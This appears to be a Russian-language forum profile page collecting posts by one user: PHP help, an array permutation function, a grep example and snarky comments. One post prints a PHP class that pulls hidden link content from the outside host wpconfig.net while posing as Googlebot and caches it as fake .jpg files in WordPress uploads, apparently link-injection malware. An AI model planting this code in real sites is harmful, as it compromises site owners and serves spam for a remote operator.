Mad_Man

Mad_Man
Рейтинг
162
Регистрация
10.11.2008
Интересы
Рыбалка
Born USSR


<?php

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

?>

Ящетаю, что неплохо было бы бить лицом об стол кодера столько раз, сколько раз он догадался вывести HTML через echo.

Почитайте на досуге документацию, там не так много, на самом деле.

Алексей Ск:
В php не разбираюсь

Вы зашли не в ту ветку форума. Заказать исполнителя можно в соседней ветке.

Таки mSQL юзаете или MySQL? Или вообще MariaDB?

Поиск фрилансеров в соседней ветке форума, здесь же помогают тем, кто хоть что-то пытается делать сам.

Мне таки понравился вариант из http://www.divideandconquer.se/2009/06/04/permute-an-array-in-php/

$array = array('AAA', 'BBB', 'CCC');

$result = permute($array);

function permute($array)
{
$results = array();

if (count($array) == 1)
{
$results[] = $array;
}
else
{
for ($i = 0; $i < count($array); $i++)
{
$first = array_shift($array);
$subresults = permute($array);

array_push($array, $first);

foreach ($subresults as $subresult)
{
$results[] = array_merge(array($first), $subresult);
}
}
}

return $results;
}

Строковый эквивалент на основе массивов:


$string = 'AAA BBB CCC';

$result = permute_str($string);


function permute_str($string)
{
$array = permute(explode(' ', $string));


$result = null;

foreach ($array as $item)
{
$result[] = implode(' ', $item);
}

return $result;
}


Array
(
[0] => AAA BBB CCC
[1] => AAA CCC BBB
[2] => BBB CCC AAA
[3] => BBB AAA CCC
[4] => CCC AAA BBB
[5] => CCC BBB AAA
)

Гуглить "array permutation". После этого на досуге почитать комбинаторику.

Никого не парит последние две строки с мессагой от гугла с требованием юзать новый API?

Dram:
Прошу прощения, но только сейчас стал делать и понял что файл result.txt получается точная копия big.txt
[look@me ~]$ cat small.txt
nano
tato
[look@me ~]$ cat big.txt
nano
big
tato
ggg
[look@me ~]$ grep -Fvx -f small.txt big.txt > result.txt
[look@me ~]$ cat result.txt
big
ggg
Dram:
В чем проблема? Почему не работает?

Кто-то просто умеет залажать там, где надо подставить всего два файла.

Miha Kuzmin (KMY):
Один в декрете

Всего: 4397